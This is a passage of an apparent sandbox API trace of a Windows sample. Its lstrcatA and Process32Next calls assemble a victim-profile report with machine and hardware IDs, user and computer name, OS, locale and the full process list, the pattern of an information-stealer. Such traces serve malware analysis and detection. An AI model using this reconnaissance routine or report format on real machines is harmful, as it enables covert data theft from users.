WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe"
[0054.879] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe ["
[0054.880] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da58
[0054.880] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67daf8
[0054.880] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.880] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [", lpString2="1500" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500"
[0054.880] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n"
[0054.880] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="identify-note.exe")) returned 1
[0054.881] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- 